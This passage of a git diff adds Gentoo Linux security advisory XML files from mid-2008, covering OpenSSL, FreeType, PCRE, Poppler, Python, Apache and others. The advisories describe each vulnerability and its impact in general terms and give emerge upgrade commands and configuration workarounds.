+  </description>
+  <impact type="high">
+    <p>
+    Exploitation of these vulnerabilities could possibly lead to the remote
+    execution of arbitrary code with root privileges, if the server is
+    running as root, which is the default. It is also possible to crash the
+    server by making use of these vulnerabilities.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    It is possible to avoid these vulnerabilities by disabling the affected
+    server extensions. Therefore edit the configuration file
+    (/etc/X11/xorg.conf) to contain the following in the appropriate
+    places:
+    </p>
+    <code>
+      Section &quot;Extensions&quot;   
+    	Option &quot;MIT-SHM&quot; &quot;disable&quot;
+    	Option &quot;RENDER&quot; &quot;disable&quot; 
+    	Option &quot;SECURITY&quot; &quot;disable&quot;
+      EndSection
+    
+      Section &quot;Module&quot;
+       Disable &quot;record&quot;
+      EndSection</code>
+  </workaround>
+  <resolution>
+    <p>
+    All X.org X Server users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=x11-base/xorg-server-1.3.0.0-r6&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-1377">CVE-2008-1377</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-1379">CVE-2008-1379</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-2360">CVE-2008-2360</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-2361">CVE-2008-2361</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-2362">CVE-2008-2362</uri>
+  </references>
+  <metadata tag="submitter" timestamp="Wed, 11 Jun 2008 10:16:02 +0000">
+    vorlon
+  </metadata>
+  <metadata tag="bugReady" timestamp="Mon, 16 Jun 2008 08:09:32 +0000">
+    vorlon
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200806-08.xml b/xml/htdocs/security/en/glsa/glsa-200806-08.xml
new file mode 100644
index 00000000..9b54bc79
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200806-08.xml
@@ -0,0 +1,79 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200806-08">
+  <title>OpenSSL: Denial of Service</title>
+  <synopsis>
+    Two vulnerabilities might allow for a Denial of Service of daemons using
+    OpenSSL.
+  </synopsis>
+  <product type="ebuild">openssl</product>
+  <announced>June 23, 2008</announced>
+  <revised>June 23, 2008: 01</revised>
+  <bug>223429</bug>
+  <access>remote</access>
+  <affected>
+    <package name="dev-libs/openssl" auto="yes" arch="*">
+      <unaffected range="ge">0.9.8g-r2</unaffected>
+      <unaffected range="lt">0.9.8f</unaffected>
+      <vulnerable range="lt">0.9.8g-r2</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    OpenSSL is an Open Source toolkit implementing the Secure Sockets Layer
+    (SSL v2/v3) and Transport Layer Security (TLS v1) as well as a general
+    purpose cryptography library.
+    </p>
+  </background>
+  <description>
+    <p>
+    Ossi Herrala and Jukka Taimisto of Codenomicon discovered two
+    vulnerabilities:
+    </p>
+    <ul>
+    <li>
+    A double free() call in the TLS server name extension (CVE-2008-0891).
+    </li>
+    <li>
+    The OpenSSL client code does not properly handle servers that omit the
+    Server Key Exchange message in the TLS handshake (CVE-2008-1672).
+    </li>
+    </ul>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could connect to a vulnerable server, or entice a
+    daemon to connect to a malicious server, causing a Denial of Service of
+    the daemon in both cases.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All OpenSSL users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=dev-libs/openssl-0.9.8g-r2&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-0891">CVE-2008-0891</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-1672">CVE-2008-1672</uri>
+  </references>
+  <metadata tag="requester" timestamp="Mon, 16 Jun 2008 22:48:49 +0000">
+    rbu
+  </metadata>
+  <metadata tag="submitter" timestamp="Mon, 16 Jun 2008 23:22:26 +0000">
+    rbu
+  </metadata>
+  <metadata tag="bugReady" timestamp="Mon, 16 Jun 2008 23:22:36 +0000">
+    rbu
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200806-09.xml b/xml/htdocs/security/en/glsa/glsa-200806-09.xml
new file mode 100644
index 00000000..c9b040a4
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200806-09.xml
@@ -0,0 +1,88 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200806-09">
+  <title>libvorbis: Multiple vulnerabilities</title>
+  <synopsis>
+    Multiple vulnerabilities in libvorbis might lead to the execution of
+    arbitrary code.
+  </synopsis>
+  <product type="ebuild">libvorbis</product>
+  <announced>June 23, 2008</announced>
+  <revised>June 23, 2008: 02</revised>
+  <bug>222085</bug>
+  <access>remote</access>
+  <affected>
+    <package name="media-libs/libvorbis" auto="yes" arch="*">
+      <unaffected range="ge">1.2.1_rc1</unaffected>
+      <vulnerable range="lt">1.2.1_rc1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    libvorbis is the reference implementation of the Xiph.org Ogg Vorbis
+    audio file format. It is used by many applications for playback of Ogg
+    Vorbis files.
+    </p>
+  </background>
+  <description>
+    <p>
+    Will Drewry of the Google Security Team reported multiple
+    vulnerabilities in libvorbis:
+    </p>
+    <ul>
+    <li>
+    A zero value for "codebook.dim" is not properly handled, leading to a
+    crash, infinite loop or triggering an integer overflow
+    (CVE-2008-1419).
+    </li>
+    <li>
+    An integer overflow in "residue partition value" evaluation might lead
+    to a heap-based buffer overflow (CVE-2008-1420).
+    </li>
+    <li>
+    An integer overflow in a certain "quantvals" and "quantlist"
+    calculation might lead to a heap-based buffer overflow
+    (CVE-2008-1423).
+    </li>
+    </ul>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could exploit these vulnerabilities by enticing a
+    user to open a specially crafted Ogg Vorbis file or network stream with
+    an application using libvorbis. This might lead to the execution of
+    arbitrary code with the privileges of the user playing the file or a
+    Denial of Service by a crash or CPU consumption.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All libvorbis users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=media-libs/libvorbis-1.2.1_rc1&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-1419">CVE-2008-1419</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-1420">CVE-2008-1420</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-1423">CVE-2008-1423</uri>
+  </references>
+  <metadata tag="requester" timestamp="Mon, 16 Jun 2008 22:45:51 +0000">
+    rbu
+  </metadata>
+  <metadata tag="submitter" timestamp="Mon, 16 Jun 2008 23:30:07 +0000">
+    rbu
+  </metadata>
+  <metadata tag="bugReady" timestamp="Mon, 16 Jun 2008 23:30:17 +0000">
+    rbu
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200806-10.xml b/xml/htdocs/security/en/glsa/glsa-200806-10.xml
new file mode 100644
index 00000000..e015fb59
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200806-10.xml
@@ -0,0 +1,85 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200806-10">
+  <title>FreeType: User-assisted execution of arbitrary code</title>
+  <synopsis>
+    Font parsing vulnerabilities in FreeType might lead to user-assisted
+    execution of arbitrary code.
+  </synopsis>
+  <product type="ebuild">freetype</product>
+  <announced>June 23, 2008</announced>
+  <revised>May 28, 2009: 03</revised>
+  <bug>225851</bug>
+  <access>remote</access>
+  <affected>
+    <package name="media-libs/freetype" auto="yes" arch="*">
+      <unaffected range="ge">2.3.6</unaffected>
+      <unaffected range="rge">1.4_pre20080316-r1</unaffected>
+      <vulnerable range="lt">2.3.6</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    FreeType is a font rendering library for TrueType Font (TTF) and
+    Printer Font Binary (PFB).
+    </p>
+  </background>
+  <description>
+    <p>
+    Regenrecht reported multiple vulnerabilities in FreeType via iDefense:
+    </p>
+    <ul>
+    <li>
+    An integer overflow when parsing values in the Private dictionary table
+    in a PFB file, leading to a heap-based buffer overflow
+    (CVE-2008-1806).
+    </li>
+    <li>
+    An invalid free() call related to parsing an invalid "number of axes"
+    field in a PFB file (CVE-2008-1807).
+    </li>
+    <li>
+    Multiple off-by-one errors when parsing PBF and TTF files, leading to
+    heap-based buffer overflows (CVE-2008-1808).
+    </li>
+    </ul>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could entice a user to open a specially crafted TTF
+    or PBF file, possibly resulting in the execution of arbitrary code with
+    the privileges of the user running an application linked against
+    FreeType (such as the X.org X server, running as root).
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All FreeType users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=media-libs/freetype-2.3.6&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-1806">CVE-2008-1806</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-1807">CVE-2008-1807</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-1808">CVE-2008-1808</uri>
+  </references>
+  <metadata tag="requester" timestamp="Thu, 12 Jun 2008 09:20:25 +0000">
+    vorlon
+  </metadata>
+  <metadata tag="submitter" timestamp="Tue, 17 Jun 2008 00:04:48 +0000">
+    rbu
+  </metadata>
+  <metadata tag="bugReady" timestamp="Tue, 17 Jun 2008 00:04:59 +0000">
+    rbu
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200806-11.xml b/xml/htdocs/security/en/glsa/glsa-200806-11.xml
new file mode 100644
index 00000000..2cb49462
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200806-11.xml
@@ -0,0 +1,99 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200806-11">
+  <title>IBM JDK/JRE: Multiple vulnerabilities</title>
+  <synopsis>
+    Multiple vulnerabilities have been found in IBM Java Development Kit (JDK)
+    and Java Runtime Environment (JRE), resulting in the execution of arbitrary
+    code.
+  </synopsis>
+  <product type="ebuild">ibm-jdk-bin ibm-jre-bin</product>
+  <announced>June 25, 2008</announced>
+  <revised>June 25, 2008: 01</revised>
+  <bug>186277</bug>
+  <bug>198644</bug>
+  <bug>216112</bug>
+  <access>remote</access>
+  <affected>
+    <package name="dev-java/ibm-jdk-bin" auto="yes" arch="*">
+      <unaffected range="ge">1.5.0.7</unaffected>
+      <unaffected range="rge">1.4.2.11</unaffected>
+      <vulnerable range="lt">1.5.0.7</vulnerable>
+    </package>
+    <package name="dev-java/ibm-jre-bin" auto="yes" arch="*">
+      <unaffected range="ge">1.5.0.7</unaffected>
+      <unaffected range="rge">1.4.2.11</unaffected>
+      <vulnerable range="lt">1.5.0.7</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    The IBM Java Development Kit (JDK) and the IBM Java Runtime Environment
+    (JRE) provide the IBM Java platform.
+    </p>
+  </background>
+  <description>
+    <p>
+    Because of sharing the same codebase, IBM JDK and JRE are affected by
+    the vulnerabilities mentioned in GLSA 200804-20.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could entice a user to run a specially crafted applet
+    on a website or start an application in Java Web Start to execute
+    arbitrary code outside of the Java sandbox and of the Java security
+    restrictions with the privileges of the user running Java. The attacker
+    could also obtain sensitive information, create, modify, rename and
+    read local files, execute local applications, establish connections in
+    the local network, bypass the same origin policy, and cause a Denial of
+    Service via multiple vectors.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All IBM JDK 1.5 users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=dev-java/ibm-jdk-bin-1.5.0.7&quot;</code>
+    <p>
+    All IBM JDK 1.4 users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=dev-java/ibm-jdk-bin-1.4.2.11&quot;</code>
+    <p>
+    All IBM JRE 1.5 users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=dev-java/ibm-jre-bin-1.5.0.7&quot;</code>
+    <p>
+    All IBM JRE 1.4 users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=dev-java/ibm-jre-bin-1.4.2.11&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://www.gentoo.org/security/en/glsa/glsa-200804-20.xml">GLSA 200804-20</uri>
+  </references>
+  <metadata tag="requester" timestamp="Sat, 05 Apr 2008 22:14:16 +0000">
+    rbu
+  </metadata>
+  <metadata tag="submitter" timestamp="Wed, 23 Apr 2008 17:16:09 +0000">
+    keytoaster
+  </metadata>
+  <metadata tag="bugReady" timestamp="Tue, 24 Jun 2008 01:10:44 +0000">
+    rbu
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200807-01.xml b/xml/htdocs/security/en/glsa/glsa-200807-01.xml
new file mode 100644
index 00000000..b25a6312
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200807-01.xml
@@ -0,0 +1,89 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200807-01">
+  <title>Python: Multiple integer overflows</title>
+  <synopsis>
+    Multiple integer overflows may allow for Denial of Service.
+  </synopsis>
+  <product type="ebuild">python</product>
+  <announced>July 01, 2008</announced>
+  <revised>July 01, 2008: 01</revised>
+  <bug>216673</bug>
+  <bug>217221</bug>
+  <access>remote</access>
+  <affected>
+    <package name="dev-lang/python" auto="yes" arch="*">
+      <unaffected range="rge">2.3.6-r6</unaffected>
+      <unaffected range="ge">2.4.4-r13</unaffected>
+      <vulnerable range="lt">2.4.4-r13</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Python is an interpreted, interactive, object-oriented programming
+    language.
+    </p>
+  </background>
+  <description>
+    <p>
+    Multiple vulnerabilities were discovered in Python:
+    </p>
+    <ul>
+    <li>David
+    Remahl reported multiple integer overflows in the file imageop.c,
+    leading to a heap-based buffer overflow (CVE-2008-1679). This issue is
+    due to an incomplete fix for CVE-2007-4965.</li>
+    <li>Justin Ferguson
+    discovered that an integer signedness error in the zlib extension
+    module might trigger insufficient memory allocation and a buffer
+    overflow via a negative signed integer (CVE-2008-1721).</li>
+    <li>Justin
+    Ferguson discovered that insufficient input validation in the
+    PyString_FromStringAndSize() function might lead to a buffer overflow
+    (CVE-2008-1887).</li>
+    </ul>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could exploit these vulnerabilities to cause a Denial
+    of Service or possibly the remote execution of arbitrary code with the
+    privileges of the user running Python.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    The imageop module is no longer built in the unaffected versions.
+    </p>
+    <p>
+    All Python 2.3 users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=dev-lang/python-2.3.6-r6&quot;</code>
+    <p>
+    All Python 2.4 users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=dev-lang/python-2.4.4-r13&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-1679">CVE-2008-1679</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-1721">CVE-2008-1721</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-1887">CVE-2008-1887</uri>
+  </references>
+  <metadata tag="submitter" timestamp="Fri, 27 Jun 2008 08:54:25 +0000">
+    keytoaster
+  </metadata>
+  <metadata tag="bugReady" timestamp="Tue, 01 Jul 2008 11:46:03 +0000">
+    keytoaster
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200807-02.xml b/xml/htdocs/security/en/glsa/glsa-200807-02.xml
new file mode 100644
index 00000000..0c9a224e
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200807-02.xml
@@ -0,0 +1,72 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200807-02">
+  <title>Motion: Execution of arbitrary code</title>
+  <synopsis>
+    Multiple vulnerabilities in Motion might result in the execution of
+    arbitrary code.
+  </synopsis>
+  <product type="ebuild">motion</product>
+  <announced>July 01, 2008</announced>
+  <revised>July 01, 2008: 01</revised>
+  <bug>227053</bug>
+  <access>remote</access>
+  <affected>
+    <package name="media-video/motion" auto="yes" arch="*">
+      <unaffected range="ge">3.2.10.1</unaffected>
+      <vulnerable range="lt">3.2.10.1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Motion is a program that monitors the video signal from one or more
+    cameras and is able to detect motions.
+    </p>
+  </background>
+  <description>
+    <p>
+    Nico Golde reported an off-by-one error within the read_client()
+    function in the webhttpd.c file, leading to a stack-based buffer
+    overflow. Stefan Cornelius (Secunia Research) reported a boundary error
+    within the same function, also leading to a stack-based buffer
+    overflow. Both vulnerabilities require that the HTTP Control interface
+    is enabled.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could exploit these vulnerabilities by sending an
+    overly long or specially crafted request to a vulnerable Motion HTTP
+    control interface, possibly resulting in the execution of arbitrary
+    code with the privileges of the motion user.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Motion users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=media-video/motion-3.2.10.1&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-2654">CVE-2008-2654</uri>
+  </references>
+  <metadata tag="requester" timestamp="Tue, 24 Jun 2008 00:58:06 +0000">
+    rbu
+  </metadata>
+  <metadata tag="submitter" timestamp="Wed, 25 Jun 2008 11:12:50 +0000">
+    keytoaster
+  </metadata>
+  <metadata tag="bugReady" timestamp="Tue, 01 Jul 2008 11:55:40 +0000">
+    keytoaster
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200807-03.xml b/xml/htdocs/security/en/glsa/glsa-200807-03.xml
new file mode 100644
index 00000000..32da5857
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200807-03.xml
@@ -0,0 +1,78 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200807-03">
+  <title>PCRE: Buffer overflow</title>
+  <synopsis>
+    A buffer overflow vulnerability has been discovered in PCRE, allowing for
+    the execution of arbitrary code and a Denial of Service.
+  </synopsis>
+  <product type="ebuild">libpcre glib</product>
+  <announced>July 07, 2008</announced>
+  <revised>July 07, 2008: 01</revised>
+  <bug>228091</bug>
+  <bug>230039</bug>
+  <access>remote</access>
+  <affected>
+    <package name="dev-libs/libpcre" auto="yes" arch="*">
+      <unaffected range="ge">7.7-r1</unaffected>
+      <vulnerable range="lt">7.7-r1</vulnerable>
+    </package>
+    <package name="dev-libs/glib" auto="yes" arch="*">
+      <unaffected range="ge">2.16.3-r1</unaffected>
+      <unaffected range="lt">2.14.0</unaffected>
+      <vulnerable range="lt">2.16.3-r1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    PCRE is a Perl-compatible regular expression library. GLib includes a
+    copy of PCRE.
+    </p>
+  </background>
+  <description>
+    <p>
+    Tavis Ormandy of the Google Security team reported a heap-based buffer
+    overflow when compiling regular expression patterns containing
+    "Internal Option Settings" such as "<i>(?i)</i>".
+    </p>
+  </description>
+  <impact type="high">
+    <p>
+    A remote attacker could exploit this vulnerability by sending a
+    specially crafted regular expression to an application making use of
+    the PCRE library, which could possibly lead to the execution of
+    arbitrary code or a Denial of Service.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All PCRE users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=dev-libs/libpcre-7.7-r1&quot;</code>
+    <p>
+    All GLib users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=dev-libs/glib-2.16.3-r1&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-2371">CVE-2008-2371</uri>
+  </references>
+  <metadata tag="submitter" timestamp="Mon, 07 Jul 2008 00:02:02 +0000">
+    rbu
+  </metadata>
+  <metadata tag="bugReady" timestamp="Mon, 07 Jul 2008 00:02:22 +0000">
+    rbu
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200807-04.xml b/xml/htdocs/security/en/glsa/glsa-200807-04.xml
new file mode 100644
index 00000000..92ef61a2
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200807-04.xml
@@ -0,0 +1,65 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200807-04">
+  <title>Poppler: User-assisted execution of arbitrary code</title>
+  <synopsis>
+    Poppler is affected by a memory management issue, which could lead to the
+    execution of arbitrary code.
+  </synopsis>
+  <product type="ebuild">poppler</product>
+  <announced>July 08, 2008</announced>
+  <revised>July 08, 2008: 01</revised>
+  <bug>229931</bug>
+  <access>remote</access>
+  <affected>
+    <package name="app-text/poppler" auto="yes" arch="*">
+      <unaffected range="ge">0.6.3-r1</unaffected>
+      <vulnerable range="lt">0.6.3-r1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Poppler is a cross-platform PDF rendering library originally based on
+    Xpdf.
+    </p>
+  </background>
+  <description>
+    <p>
+    Felipe Andres Manzano reported a memory management issue in the Page
+    class constructor/destructor.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could entice a user to open a specially crafted PDF
+    file with a Poppler-based PDF viewer such as Gentoo's Xpdf, Epdfview,
+    or Evince, potentially resulting in the execution of arbitrary code
+    with the privileges of the user running the application.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All poppler users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=app-text/poppler-0.6.3-r1&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-2950">CVE-2008-2950</uri>
+  </references>
+  <metadata tag="submitter" timestamp="Mon, 07 Jul 2008 09:09:47 +0000">
+    vorlon
+  </metadata>
+  <metadata tag="bugReady" timestamp="Tue, 08 Jul 2008 18:44:36 +0000">
+    vorlon
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200807-05.xml b/xml/htdocs/security/en/glsa/glsa-200807-05.xml
new file mode 100644
index 00000000..3f93b327
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200807-05.xml
@@ -0,0 +1,78 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200807-05">
+  <title>OpenOffice.org: User-assisted execution of arbitrary code</title>
+  <synopsis>
+    An integer overflow vulnerability has been reported in OpenOffice.org.
+  </synopsis>
+  <product type="ebuild">openoffice openoffice-bin</product>
+  <announced>July 09, 2008</announced>
+  <revised>July 09, 2008: 01</revised>
+  <bug>225723</bug>
+  <access>remote</access>
+  <affected>
+    <package name="app-office/openoffice" auto="yes" arch="*">
+      <unaffected range="ge">2.4.1</unaffected>
+      <vulnerable range="lt">2.4.1</vulnerable>
+    </package>
+    <package name="app-office/openoffice-bin" auto="yes" arch="*">
+      <unaffected range="ge">2.4.1</unaffected>
+      <vulnerable range="lt">2.4.1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    OpenOffice.org is an open source office productivity suite, including
+    word processing, spreadsheet, presentation, drawing, data charting,
+    formula editing, and file conversion facilities.
+    </p>
+  </background>
+  <description>
+    <p>
+    Sean Larsson (iDefense Labs) reported an integer overflow in the
+    function rtl_allocateMemory() in the file
+    sal/rtl/source/alloc_global.c.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could entice a user to open a specially crafted
+    document, possibly resulting in the remote execution of arbitrary code
+    with the privileges of the user running the application.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All OpenOffice.org users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=app-office/openoffice-2.4.1&quot;</code>
+    <p>
+    All OpenOffice.org binary users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=app-office/openoffice-bin-2.4.1&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-2152">CVE-2008-2152</uri>
+  </references>
+  <metadata tag="requester" timestamp="Mon, 07 Jul 2008 07:24:43 +0000">
+    p-y
+  </metadata>
+  <metadata tag="bugReady" timestamp="Mon, 07 Jul 2008 07:24:50 +0000">
+    p-y
+  </metadata>
+  <metadata tag="submitter" timestamp="Mon, 07 Jul 2008 11:42:11 +0000">
+    p-y
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200807-06.xml b/xml/htdocs/security/en/glsa/glsa-200807-06.xml
new file mode 100644
index 00000000..7b8a9ccd
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200807-06.xml
@@ -0,0 +1,86 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200807-06">
+  <title>Apache: Denial of Service</title>
+  <synopsis>
+    Multiple vulnerabilities in Apache might lead to a Denial of Service.
+  </synopsis>
+  <product type="ebuild">apache</product>
+  <announced>July 09, 2008</announced>
+  <revised>July 09, 2008: 01</revised>
+  <bug>222643</bug>
+  <bug>227111</bug>
+  <access>remote</access>
+  <affected>
+    <package name="www-servers/apache" auto="yes" arch="*">
+      <unaffected range="ge">2.2.9</unaffected>
+      <vulnerable range="lt">2.2.9</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
